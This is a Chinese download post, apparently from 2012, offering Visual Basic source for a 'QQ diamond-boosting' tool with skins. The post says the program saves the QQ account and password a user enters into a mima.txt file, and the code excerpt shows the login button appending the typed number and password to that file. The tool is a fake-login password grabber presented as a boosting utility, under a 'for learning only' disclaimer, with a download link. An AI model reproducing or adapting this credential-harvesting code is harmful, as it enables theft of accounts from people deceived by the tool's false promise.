最新2012QQ刷钻软件 VB做的，用的是skin.dll皮肤，想要的可下载

大家好！
今天为大家带来的是“QQ刷钻”!
是由VB研发小峰QQ刷钻VB源码，有自带三种漂亮的界面皮肤，可以随时换肤，换肤功能基于SkinH.dll控件。
本程序是将你登录的QQ账号和密码保存在根目录的"mima.txt"里！

本程序仅供学习参考！
软件开发编写，QQ：962692194

说明：

如果  打开提示错误，  请在工程部件里浏览添加Activex.ocx 控件(*.ocx):
DJMeter.ocx
在根目录下！

此程序网上下载，觉得对新人有些帮助，进行了一些注释，

djmeter.ocx     进度条控件，   没有其它实际功能

 

部分代码：
Private Sub Command1_Click()
a = Text1.Text
b = Text2.Text
If Len(a) <= 6 Then
MsgBox "请输入正确的QQ号码！", , "登录提示"
ElseIf Len(b) <= 6 Then
MsgBox "请输入正确的QQ密码！", , "登录提示 "
ElseIf Text1.Text = "" Then
MsgBox "请输入账号", , "QQ账号提示"
Text1.SetFocus
ElseIf Text2.Text = "" Then
MsgBox "请输入密码", , "QQ密码提示"
Text2.SetFocus
Else
j = FreeFile
Open "mima.txt" For Append As #1 '把账号密码要保存的路径
Print #1, "QQ帐号：" + a + "   QQ密码：" + b
Close #1
Timer1.Enabled = True

 

 

 

下载地址：http://www.ctdisk.com/file/9793172